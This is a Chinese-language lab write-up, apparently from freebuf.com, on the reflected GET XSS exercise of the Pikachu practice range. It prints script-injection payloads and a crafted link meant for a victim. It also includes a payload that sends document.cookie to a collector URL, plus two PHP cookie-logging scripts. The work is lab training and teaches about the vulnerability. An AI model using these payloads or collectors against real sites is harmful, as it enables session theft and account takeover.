pikachu靶场-XSS跨站脚本-反射型xss(get) – 作者:知非知非知非

22次阅读
没有评论

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

你最喜欢的NBA球员是谁?

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

泥马!

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

YES!

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

这个有一个知识,什么是反射型的XSS?

反射型XSS又称非持久型XSS,当用户访问一个带有XSS代码的URL请求时,服务器接收数据后处理,然后带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞,这个过程像一次反射,所以又称为反射型XSS漏洞。

搞完了,接下来该干正事了!

咱先输入框中,加一条简单的JS语句:

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

长度有限制,输入不全,直接改!!!

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

这里直接在文本框的地方,右键,检查,即可直接修改源代码!!!!改成100

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

可以输入了!!!!

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

通过查看源代码,构成PAYLOAD,kobe><script>alert(1)</script>

弹出!!

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

kobe><script>alert(document.cookie)</script>

返回COOKIE!!!

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

kobe><script>alert(document.domain )</script>

获取或设置当前文档的域名!!!

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

kobe><script>alert(document.location)</script>

提供关于当前文档URL的信息!!!

pikachu靶场-XSS跨站脚本-反射型xss(get) - 作者:知非知非知非

kobe><script>alert(document.title)</script>

获取或设置当前文档的标题!!!

看链接!!!!

这就是传说中的伪造链接!!!发给被害者!!!

被害者点击后就会弹出当前cookie!!!

但是如果PAYLOAD为把cookie发送给远程主机的话!!!

被盗后!!!**!!就可以用***的cookie登录系统,进而进行一系列**行为!!!

http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=kobe%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=submit

使用网上找的cookie.php,发送给远程主机的PAYLOAD为:

<script>location.href=”http://127.0.0.1/cookie.php?cookie=”+document.cookie</script>

网上找的cookie.php的代码为:

<?php

$cookie = $_GET['cookie'];

$ip = getenv ('REMOTE_ADDR');

$time = date('Y-m-d g:i:s');

$fp = fopen("cookie.txt","a");

fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");

fclose($fp);

?>

使用pikachu自带的pikachu Xss 后台进行cookie 收集!!!

<script>location.href=”http://localhost/pikachu/pkxss/xcookie/cookie.php?cookie=”+document.cookie</script>

pikachu Xss 后台的cookie.php的代码为:

<?php

include_once '../inc/config.inc.php';

include_once '../inc/mysql.inc.php';

$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){

$time=date('Y-m-d g:i:s');

$ipaddress=getenv ('REMOTE_ADDR');

$cookie=$_GET['cookie'];

$referer=$_SERVER['HTTP_REFERER'];

$useragent=$_SERVER['HTTP_USER_AGENT'];

$query="insert cookies(time,ipaddress,cookie,referer,useragent)

values('$time','$ipaddress','$cookie','$referer','$useragent')";

$result=mysqli_query($link, $query);

}

header(“Location:http://127.0.0.1/pikachu/index.php”);//重定向到一个可信的网站

?>

来源:freebuf.com 2021-07-13 08:28:50 by: 知非知非知非

正文完
 0